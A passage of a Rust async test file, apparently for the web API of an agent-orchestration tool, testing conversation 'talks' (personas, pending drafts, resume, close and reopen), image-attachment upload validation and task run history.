9169 let Json(view) = call(3).await.expect("switch");
9170 assert_eq!(view.talk.implementers, 3);
9171 assert!(talks.get(&id).expect("reload").implementers_dirty);
9172
9173 let mut closed = talks.get(&id).expect("reload");
9174 talk::close(&mut closed, &talks).expect("close");
9175 let e = call(2).await.expect_err("closed talk");
9176 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9177 }
9178
9179 #[tokio::test]
9180 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9181 let tmp = TempDir::new().expect("tempdir");
9182 let repo = tmp.path().join("repo");
9183 std::fs::create_dir_all(&repo).expect("repo dir");
9184 std::fs::write(
9185 repo.join("magi.toml"),
9186 format!(
9187 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9188 ),
9189 )
9190 .expect("write magi.toml");
9191 let home = TempDir::new().expect("temp home");
9192 let talks = Talks::at(home.path().join("talks"));
9193 let ui = Arc::new(
9194 Ui::new(
9195 Queue::at(home.path().join("queue")),
9196 Questions::at(home.path().join("questions")),
9197 talks.clone(),
9198 home.path().join("runs"),
9199 home.path().to_path_buf(),
9200 repo.clone(),
9201 )
9202 .with_worktrees_root(home.path().join("wt")),
9203 );
9204 let cfg = config_for(&repo).await.expect("discover config");
9205 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9206 let id = talk.id.clone();
9207 let call = |persona: &str| {
9208 talk_persona(
9209 State(Arc::clone(&ui)),
9210 Path(id.clone()),
9211 Json(TalkPersona {
9212 persona: persona.to_owned(),
9213 }),
9214 )
9215 };
9216
9217 let unknown = call("nobody").await.expect_err("unknown persona");
9218 assert_eq!(
9219 unknown.status,
9220 StatusCode::BAD_REQUEST,
9221 "{}",
9222 unknown.message
9223 );
9224
9225 {
9226 let mut claimed = None;
9227 for _ in 0..200 {
9228 claimed = ui.begin_talk_turn(&id).expect("claim");
9229 if claimed.is_some() {
9230 break;
9231 }
9232 tokio::time::sleep(Duration::from_millis(10)).await;
9233 }
9234 let _busy = claimed.expect("free");
9235 let busy = call("rei").await.expect_err("busy talk");
9236 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9237 }
9238 assert_eq!(talks.get(&id).expect("reload").persona, "");
9239
9240 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9241 assert_eq!(view.talk.persona, "gendo");
9242 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9243
9244 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9245 .await
9246 .expect("detail");
9247 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9248 assert_eq!(ids.first(), Some(&"default"));
9249 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9250
9251 let Json(view) = call("default").await.expect("back to default");
9252 assert_eq!(view.talk.persona, "");
9253
9254 let mut closed = talks.get(&id).expect("reload");
9255 talk::close(&mut closed, &talks).expect("close");
9256 let refused = call("rei").await.expect_err("closed talk");
9257 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9258 }
9259
9260 #[tokio::test]
9261 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9262 let f = Fixture::start().await;
9263 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9264 let queue = f.queue();
9265 let mut mine = Task::new(
9266 "rename the loader".to_owned(),
9267 "rename the loader".to_owned(),
9268 PathBuf::from("/repo/magi"),
9269 Source::Agent {
9270 run: talk_id.clone(),
9271 node: "chat".to_owned(),
9272 },
9273 );
9274 queue.put(&mut mine).expect("file the task");
9275 let mut theirs = Task::new(
9276 "unrelated".to_owned(),
9277 "unrelated".to_owned(),
9278 PathBuf::from("/repo/magi"),
9279 Source::Human,
9280 );
9281 queue.put(&mut theirs).expect("file the task");
9282
9283 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9284 assert_eq!(res.status, 200, "{}", res.body);
9285 let body = res.json();
9286 assert_eq!(
9287 body["status"], "open",
9288 "filing a task does not close a talk"
9289 );
9290 let tasks = body["tasks"].as_array().expect("tasks array");
9291 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9292 assert_eq!(tasks[0]["id"], mine.id);
9293 }
9294
9295 #[tokio::test]
9296 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9297 let (_tmp, _repo, f) = talk_fixture().await;
9298 let id = f.post("/api/talks", None).await.json()["id"]
9299 .as_str()
9300 .expect("id")
9301 .to_owned();
9302
9303 let res = f
9304 .post(
9305 &format!("/api/talks/{id}/say"),
9306 Some(r#"{"text":"what does the queue module do?"}"#),
9307 )
9308 .await;
9309 assert_eq!(res.status, 202, "{}", res.body);
9310 let queued = res.json();
9311 let turns = queued["turns"].as_array().expect("turns array");
9312 assert_eq!(
9313 turns.len(),
9314 1,
9315 "the answer reflects only what is on disk the instant it is sent, \
9316 before the agent's turn - which can run for the whole of \
9317 `[graph] timeout_talk` - has a chance to land: {queued}"
9318 );
9319 assert_eq!(turns[0]["who"], "operator");
9320 assert_eq!(turns[0]["body"], "what does the queue module do?");
9321 assert_eq!(
9322 queued["thinking"], true,
9323 "the accepted response exposes the background turn claim: {queued}"
9324 );
9325
9326 let mut turns_after = 1;
9327 for _ in 0..SETTLE_STEPS {
9328 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9329 turns_after = detail["turns"].as_array().expect("turns array").len();
9330 if turns_after == 2 {
9331 break;
9332 }
9333 tokio::time::sleep(Duration::from_millis(10)).await;
9334 }
9335 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9336 }
9337
9338 #[tokio::test]
9365 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9366 let tmp = TempDir::new().expect("tempdir");
9367 let repo = tmp.path().join("repo");
9368 std::fs::create_dir_all(&repo).expect("repo dir");
9369 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9370 let home = TempDir::new().expect("temp home");
9371 let talks = Talks::at(home.path().join("talks"));
9372 let ui = Arc::new(
9373 Ui::new(
9374 Queue::at(home.path().join("queue")),
9375 Questions::at(home.path().join("questions")),
9376 talks.clone(),
9377 home.path().join("runs"),
9378 home.path().to_path_buf(),
9379 repo.clone(),
9380 )
9381 .with_worktrees_root(home.path().join("wt")),
9382 );
9383 let cfg = config_for(&repo).await.expect("discover config");
9384
9385 for delay in 0..40u32 {
9386 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9387 let id = talk.id.clone();
9388
9389 let handler = tokio::spawn(talk_say(
9390 State(Arc::clone(&ui)),
9391 Path(id.clone()),
9392 Ok(Json(NewTalkTurn {
9393 text: "what does the queue module do?".to_owned(),
9394 attachments: Vec::new(),
9395 })),
9396 ));
9397 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9398 handler.abort();
9399 let _ = handler.await;
9402
9403 let mut turns = 0;
9404 for _ in 0..SETTLE_STEPS {
9405 if let Ok(fresh) = talks.get(&id) {
9406 turns = fresh.turns.len();
9407 if turns != 1 {
9408 break;
9409 }
9410 }
9411 tokio::time::sleep(Duration::from_millis(10)).await;
9412 }
9413 assert_ne!(
9414 turns, 1,
9415 "delay {delay}: talk {id} recorded the operator's turn but \
9416 the agent never answered - the reply task was never \
9417 started after the handler future was dropped"
9418 );
9419 }
9420 }
9421
9422 #[tokio::test]
9467 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9468 let tmp = TempDir::new().expect("tempdir");
9469 let repo = tmp.path().join("repo");
9470 std::fs::create_dir_all(&repo).expect("repo dir");
9471 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9472 let home = TempDir::new().expect("temp home");
9473 let talks = Talks::at(home.path().join("talks"));
9474 let ui = Arc::new(
9475 Ui::new(
9476 Queue::at(home.path().join("queue")),
9477 Questions::at(home.path().join("questions")),
9478 talks.clone(),
9479 home.path().join("runs"),
9480 home.path().to_path_buf(),
9481 repo.clone(),
9482 )
9483 .with_worktrees_root(home.path().join("wt")),
9484 );
9485 let cfg = config_for(&repo).await.expect("discover config");
9486
9487 for attempt in 0..3u32 {
9488 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9489 let id = talk.id.clone();
9490 let turn_guard = ui
9493 .begin_talk_turn(&id)
9494 .expect("claim the turn")
9495 .expect("a fresh talk owes nobody a turn");
9496
9497 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9498 let (release_tx, release_rx) = std::sync::mpsc::channel();
9499 ui.set_busy_queue_gate(BusyQueueGate {
9500 reached: reached_tx,
9501 release: release_rx,
9502 });
9503
9504 let handler = tokio::spawn(talk_say(
9505 State(Arc::clone(&ui)),
9506 Path(id.clone()),
9507 Ok(Json(NewTalkTurn {
9508 text: "what does the queue module do?".to_owned(),
9509 attachments: Vec::new(),
9510 })),
9511 ));
9512
9513 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9518 .await
9519 .unwrap_or_else(|_| {
9520 panic!(
9521 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9522 )
9523 })
9524 .expect("the busy branch dropped the gate without using it");
9525
9526 let running = talks.get(&id).expect("reload talk");
9533 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9534
9535 handler.abort();
9539 let _ = handler.await;
9540
9541 let _ = release_tx.send(());
9547
9548 let mut fresh = talks.get(&id).expect("reload talk");
9551 for _ in 0..SETTLE_STEPS {
9552 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9553 break;
9554 }
9555 tokio::time::sleep(Duration::from_millis(10)).await;
9556 fresh = talks.get(&id).expect("reload talk");
9557 }
9558 assert!(
9559 fresh.pending.is_empty() && fresh.turns.len() == 2,
9560 "attempt {attempt}: talk {id} left the operator's text queued \
9561 with no drainer - the reclaimed turn was dropped along with \
9562 the handler future (pending {:?}, {} turns)",
9563 fresh.pending,
9564 fresh.turns.len()
9565 );
9566 }
9567 }
9568
9569 #[tokio::test]
9570 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9571 let (_tmp, _repo, f) = talk_fixture().await;
9572 let id = f.post("/api/talks", None).await.json()["id"]
9573 .as_str()
9574 .expect("id")
9575 .to_owned();
9576 let store = f.talks();
9577 let mut recovered = store.get(&id).expect("opened talk");
9578 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9579 .expect("persist pending draft without a live turn");
9580
9581 let edited = f
9582 .post(
9583 &format!("/api/talks/{id}/pending/edit"),
9584 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9585 )
9586 .await;
9587 assert_eq!(edited.status, 200, "{}", edited.body);
9588 assert!(edited.json()["thinking"].as_bool().unwrap());
9589
9590 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9591 for _ in 0..SETTLE_STEPS {
9592 if detail["turns"].as_array().expect("turns").len() == 2 {
9593 break;
9594 }
9595 tokio::time::sleep(Duration::from_millis(10)).await;
9596 detail = f.get(&format!("/api/talks/{id}")).await.json();
9597 }
9598 let turns = detail["turns"].as_array().expect("turns");
9599 assert_eq!(
9600 turns.len(),
9601 2,
9602 "the recovered draft must run once: {detail}"
9603 );
9604 assert_eq!(turns[0]["body"], "corrected");
9605 assert_eq!(detail["pending"], "");
9606 }
9607
9608 #[tokio::test]
9609 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9610 let tmp = TempDir::new().expect("tempdir");
9611 let repo = tmp.path().join("repo");
9612 std::fs::create_dir_all(&repo).expect("repo dir");
9613 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9614 let f = Fixture::with_repo(repo).await;
9615 let id = f.post("/api/talks", None).await.json()["id"]
9616 .as_str()
9617 .expect("id")
9618 .to_owned();
9619 let store = f.talks();
9620 let mut recovered = store.get(&id).expect("opened talk");
9621 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9622 .expect("persist pending draft without a live turn");
9623
9624 let refused = f
9625 .post(
9626 &format!("/api/talks/{id}/say"),
9627 Some(r#"{"text":"new message"}"#),
9628 )
9629 .await;
9630 assert_eq!(refused.status, 409, "{}", refused.body);
9631 assert!(refused.body.contains("resume"), "{}", refused.body);
9632 let saved = store.get(&id).expect("draft remains after refusal");
9633 assert!(saved.turns.is_empty());
9634 assert_eq!(saved.pending, "saved before restart");
9635
9636 let say_path = format!("/api/talks/{id}/say");
9637 let (first, second) = tokio::join!(
9638 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9639 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9640 );
9641 assert_eq!(first.status, 409, "{}", first.body);
9642 assert_eq!(second.status, 409, "{}", second.body);
9643 let saved = store
9644 .get(&id)
9645 .expect("draft remains after concurrent refusals");
9646 assert!(saved.turns.is_empty());
9647 assert_eq!(saved.pending, "saved before restart");
9648
9649 let resumed = f
9650 .post(&format!("/api/talks/{id}/pending/resume"), None)
9651 .await;
9652 assert_eq!(resumed.status, 202, "{}", resumed.body);
9653 let duplicate = f
9654 .post(&format!("/api/talks/{id}/pending/resume"), None)
9655 .await;
9656 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9657
9658 for _ in 0..SETTLE_STEPS {
9659 if store.get(&id).expect("talk").turns.len() == 2 {
9660 break;
9661 }
9662 tokio::time::sleep(Duration::from_millis(10)).await;
9663 }
9664 let finished = store.get(&id).expect("finished talk");
9665 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9666 assert_eq!(finished.turns[0].body, "saved before restart");
9667 assert!(finished.pending.is_empty());
9668 }
9669
9670 #[tokio::test]
9671 async fn an_image_only_recovered_draft_resumes_without_text() {
9672 let (_tmp, _repo, f) = talk_fixture().await;
9673 let id = f.post("/api/talks", None).await.json()["id"]
9674 .as_str()
9675 .expect("id")
9676 .to_owned();
9677 let uploaded = f
9678 .post_bytes(
9679 &format!("/api/talks/{id}/attachments"),
9680 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9681 PNG_BYTES,
9682 )
9683 .await;
9684 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9685 let attachment = f
9686 .talks()
9687 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9688 .expect("attachment metadata")
9689 .expect("stored attachment");
9690 let store = f.talks();
9691 let mut recovered = store.get(&id).expect("opened talk");
9692 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9693
9694 let resumed = f
9695 .post(&format!("/api/talks/{id}/pending/resume"), None)
9696 .await;
9697 assert_eq!(resumed.status, 202, "{}", resumed.body);
9698 for _ in 0..SETTLE_STEPS {
9699 if store.get(&id).expect("talk").turns.len() == 2 {
9700 break;
9701 }
9702 tokio::time::sleep(Duration::from_millis(10)).await;
9703 }
9704 let finished = store.get(&id).expect("finished talk");
9705 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9706 assert!(finished.turns[0].body.is_empty());
9707 assert_eq!(finished.turns[0].attachments.len(), 1);
9708 assert!(finished.pending_attachments.is_empty());
9709 }
9710
9711 #[tokio::test]
9712 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9713 let (_tmp, _repo, f) = talk_fixture().await;
9714 let id = f.post("/api/talks", None).await.json()["id"]
9715 .as_str()
9716 .expect("id")
9717 .to_owned();
9718 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9719 assert_eq!(closed.status, 200, "{}", closed.body);
9720 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9721 .expect("serialize closed talk");
9722 for (path, body) in [
9723 (format!("/api/talks/{id}/pending/resume"), None),
9724 (
9725 format!("/api/talks/{id}/pending/clear"),
9726 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9727 ),
9728 (
9729 format!("/api/talks/{id}/pending/edit"),
9730 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9731 ),
9732 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9733 ] {
9734 let response = f.post(&path, body).await;
9735 assert_eq!(response.status, 409, "{}", response.body);
9736 }
9737 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9738 .expect("serialize closed talk");
9739 assert_eq!(
9740 after_clear, before_clear,
9741 "clear must not rewrite a closed talk"
9742 );
9743 }
9744
9745 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9748
9749 #[tokio::test]
9750 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9751 let tmp = TempDir::new().expect("tempdir");
9752 let repo = tmp.path().join("repo");
9753 std::fs::create_dir_all(&repo).expect("repo dir");
9754 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9755 let f = Fixture::with_repo(repo).await;
9756 let id_a = f.post("/api/talks", None).await.json()["id"]
9757 .as_str()
9758 .unwrap()
9759 .to_owned();
9760 let id_b = f.post("/api/talks", None).await.json()["id"]
9761 .as_str()
9762 .unwrap()
9763 .to_owned();
9764
9765 let a = f
9766 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9767 .await;
9768 assert_eq!(a.status, 202, "{}", a.body);
9769 assert_eq!(a.json()["thinking"], true);
9770 let b = f
9771 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9772 .await;
9773 assert_eq!(b.status, 202, "{}", b.body);
9774 assert_eq!(b.json()["thinking"], true);
9775
9776 let listed = f.get("/api/talks").await.json();
9777 for id in [&id_a, &id_b] {
9778 let view = listed
9779 .as_array()
9780 .unwrap()
9781 .iter()
9782 .find(|talk| talk["id"] == *id)
9783 .unwrap();
9784 assert_eq!(view["thinking"], true, "{listed}");
9785 }
9786 let repeated = f
9787 .post(
9788 &format!("/api/talks/{id_a}/say"),
9789 Some(r#"{"text":"again"}"#),
9790 )
9791 .await;
9792 assert_eq!(repeated.status, 202, "{}", repeated.body);
9793 assert_eq!(repeated.json()["pending"], "again");
9794 }
9795
9796 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9799
9800 #[tokio::test]
9801 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9802 let f = Fixture::start().await;
9803 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9804
9805 let res = f
9806 .post_bytes(
9807 &format!("/api/talks/{id}/attachments"),
9808 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9809 PNG_BYTES,
9810 )
9811 .await;
9812 assert_eq!(res.status, 201, "{}", res.body);
9813 let body = res.json();
9814 assert_eq!(body["name"], "shot.png");
9815 assert_eq!(body["mime"], "image/png");
9816 assert_eq!(body["bytes"], PNG_BYTES.len());
9817 let att_id = body["id"].as_str().expect("id").to_owned();
9818 assert_eq!(
9819 att_id.len(),
9820 32,
9821 "the id must never be a client-suppliable path: {att_id}"
9822 );
9823
9824 let got = f
9825 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9826 .await;
9827 assert_eq!(got.status, 200, "{}", got.body);
9828 assert_eq!(got.header("content-type"), Some("image/png"));
9829 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9830 assert_eq!(got.bytes, PNG_BYTES);
9831 }
9832
9833 #[tokio::test]
9834 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9835 let f = Fixture::start().await;
9836 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9837
9838 let svg = f
9841 .post_bytes(
9842 &format!("/api/talks/{id}/attachments"),
9843 &[("Content-Type", "image/svg+xml")],
9844 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9845 )
9846 .await;
9847 assert!(
9848 (400..500).contains(&svg.status),
9849 "svg must be refused: {} {}",
9850 svg.status,
9851 svg.body
9852 );
9853 assert!(svg.body.contains("SVG"), "{}", svg.body);
9854
9855 let text = f
9856 .post_bytes(
9857 &format!("/api/talks/{id}/attachments"),
9858 &[("Content-Type", "text/plain")],
9859 b"just some text",
9860 )
9861 .await;
9862 assert!(
9863 (400..500).contains(&text.status),
9864 "an unlisted type must be refused: {} {}",
9865 text.status,
9866 text.body
9867 );
9868
9869 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9872 let big = f
9873 .post_bytes(
9874 &format!("/api/talks/{id}/attachments"),
9875 &[("Content-Type", "image/png")],
9876 &oversized,
9877 )
9878 .await;
9879 assert_eq!(
9880 big.status,
9881 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9882 "{}",
9883 big.body
9884 );
9885 }
9886
9887 #[tokio::test]
9888 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9889 let f = Fixture::start().await;
9890 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9891
9892 let res = f
9895 .post_bytes(
9896 &format!("/api/talks/{id}/attachments"),
9897 &[("Content-Type", "image/png")],
9898 b"<html>not a picture</html>",
9899 )
9900 .await;
9901 assert!((400..500).contains(&res.status), "{}", res.body);
9902 }
9903
9904 #[tokio::test]
9905 async fn an_unknown_attachment_id_is_a_404() {
9906 let f = Fixture::start().await;
9907 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9908
9909 let res = f
9910 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9911 .await;
9912 assert_eq!(res.status, 404, "{}", res.body);
9913 }
9914
9915 #[tokio::test]
9916 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9917 let f = Fixture::start().await;
9918 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9919
9920 let uploaded = f
9921 .post_bytes(
9922 &format!("/api/talks/{id}/attachments"),
9923 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9924 PNG_BYTES,
9925 )
9926 .await;
9927 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9928 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9929
9930 let res = f
9931 .post(
9932 &format!("/api/talks/{id}/say"),
9933 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9934 )
9935 .await;
9936 assert_eq!(res.status, 202, "{}", res.body);
9937 let queued = res.json();
9938 let turns = queued["turns"].as_array().expect("turns array");
9939 assert_eq!(
9940 turns.len(),
9941 1,
9942 "an empty body with an attachment is still a turn: {queued}"
9943 );
9944 assert_eq!(turns[0]["who"], "operator");
9945 assert_eq!(turns[0]["body"], "");
9946 let atts = turns[0]["attachments"]
9947 .as_array()
9948 .expect("attachments array");
9949 assert_eq!(atts.len(), 1);
9950 assert_eq!(atts[0]["id"], att_id);
9951 assert_eq!(atts[0]["mime"], "image/png");
9952
9953 let on_disk = f.talks().get(&id).expect("get");
9956 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9957 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9958 }
9959
9960 #[tokio::test]
9961 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9962 let f = Fixture::start().await;
9963 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9964
9965 let res = f
9966 .post(
9967 &format!("/api/talks/{id}/say"),
9968 Some(&format!(
9969 r#"{{"text":"hi","attachments":["{}"]}}"#,
9970 "a".repeat(32)
9971 )),
9972 )
9973 .await;
9974 assert!((400..500).contains(&res.status), "{}", res.body);
9975 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9976
9977 let on_disk = f.talks().get(&id).expect("get");
9978 assert!(
9979 on_disk.turns.is_empty(),
9980 "a rejected attachment id must not partially record the turn: {:?}",
9981 on_disk.turns
9982 );
9983 }
9984
9985 #[tokio::test]
9986 async fn talk_close_makes_the_talk_refuse_further_turns() {
9987 let f = Fixture::start().await;
9988 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9989
9990 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9991 assert_eq!(closed.status, 200, "{}", closed.body);
9992 assert_eq!(closed.json()["status"], "closed");
9993
9994 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9996 assert_eq!(closed_again.status, 200);
9997 assert_eq!(closed_again.json()["status"], "closed");
9998
9999 let said = f
10000 .post(
10001 &format!("/api/talks/{id}/say"),
10002 Some(r#"{"text":"too late"}"#),
10003 )
10004 .await;
10005 assert_eq!(said.status, 409, "{}", said.body);
10006 }
10007
10008 #[tokio::test]
10009 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10010 let (_tmp, _repo, f) = talk_fixture().await;
10011 let id = f.post("/api/talks", None).await.json()["id"]
10012 .as_str()
10013 .expect("id")
10014 .to_owned();
10015 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10016 assert_eq!(closed.status, 200, "{}", closed.body);
10017
10018 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10019 assert_eq!(reopened.status, 200, "{}", reopened.body);
10020 assert_eq!(reopened.json()["status"], "open");
10021
10022 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10024 assert_eq!(reopened_again.status, 200);
10025 assert_eq!(reopened_again.json()["status"], "open");
10026
10027 let said = f
10028 .post(
10029 &format!("/api/talks/{id}/say"),
10030 Some(r#"{"text":"still there?"}"#),
10031 )
10032 .await;
10033 assert_eq!(
10034 said.status, 202,
10035 "a reopened talk accepts turns again: {}",
10036 said.body
10037 );
10038 }
10039
10040 #[tokio::test]
10041 async fn talk_reopen_on_an_unknown_id_is_404() {
10042 let f = Fixture::start().await;
10043 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10044 assert_eq!(res.status, 404, "{}", res.body);
10045 }
10046
10047 #[tokio::test]
10048 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10049 let f = Fixture::start().await;
10050 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10051
10052 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10053 assert_eq!(deleted.status, 204, "{}", deleted.body);
10054
10055 let after = f.get(&format!("/api/talks/{id}")).await;
10056 assert_eq!(after.status, 404, "{}", after.body);
10057
10058 let listed = f.get("/api/talks").await.json();
10059 assert!(
10060 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10061 "a deleted talk must not linger in the list: {listed}"
10062 );
10063 }
10064
10065 #[tokio::test]
10066 async fn talk_delete_on_an_unknown_id_is_404() {
10067 let f = Fixture::start().await;
10068 let res = f.delete("/api/talks/nonexistent-id").await;
10069 assert_eq!(res.status, 404, "{}", res.body);
10070 }
10071
10072 #[tokio::test]
10076 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10077 let f = Fixture::start().await;
10078 let (a, b, gone) = (
10079 "20260902-140501-aaaa",
10080 "20260902-140502-bbbb",
10081 "20260902-140503-cccc",
10082 );
10083 write_run(&f.runs(), a, RunStatus::Stalled);
10084 let mut review = RunState::new(
10085 PathBuf::from("/repo/magi"),
10086 "main".to_owned(),
10087 "0123456789abcdef".to_owned(),
10088 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10089 .to_owned(),
10090 Config::default(),
10091 );
10092 review.id = b.to_owned();
10093 review.status = RunStatus::Merged;
10094 write_state(&f.runs(), &review);
10095
10096 let mut task = Task::new(
10097 "retry".to_owned(),
10098 "Do the thing".to_owned(),
10099 PathBuf::from("/repo/magi"),
10100 Source::Human,
10101 );
10102 task.start(a.to_owned());
10103 task.stall("quota");
10104 task.start(a.to_owned());
10105 task.start(b.to_owned());
10106 task.start(gone.to_owned());
10107 f.queue().put(&mut task).expect("file the task");
10108
10109 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10110 assert_eq!(res.status, 200, "{}", res.body);
10111 let v = res.json();
10112 let h = v["history"].as_array().expect("history");
10113 assert_eq!(h.len(), 4, "{v}");
10114 assert_eq!(h[0]["kind"], "competition");
10115 assert_eq!(h[0]["status"], "stalled");
10116 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10117 assert_eq!(h[1]["kind"], "resume", "{v}");
10118 assert!(
10119 h[0]["outcome"]
10120 .as_str()
10121 .unwrap()
10122 .contains("unknown. Pass #2"),
10123 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10124 );
10125 assert!(
10126 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10127 "{v}"
10128 );
10129 assert!(
10130 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10131 "an unrecorded cause must not be narrated as an operator park: {v}"
10132 );
10133 assert_eq!(h[2]["kind"], "review");
10134 assert!(
10135 h[2]["description"]
10136 .as_str()
10137 .unwrap()
10138 .contains("magi/aaaa/A")
10139 );
10140 assert_eq!(h[2]["status"], "merged");
10141 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10142 assert_eq!(v["runs_unreadable"], 1);
10143 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10144 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10145 assert_eq!(nodes[4]["note"], "unreadable");
10146 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10147 assert_eq!(v["instruction"], "Do the thing");
10148 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10149
10150 let run = f.get(&format!("/api/runs/{a}")).await.json();
10152 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10153
10154 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10155 }
10156
10157 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10158 let mut s = RunState::new(
10159 PathBuf::from("/repo/magi"),
10160 "main".to_owned(),
10161 "0123456789abcdef".to_owned(),
10162 "Do it".to_owned(),
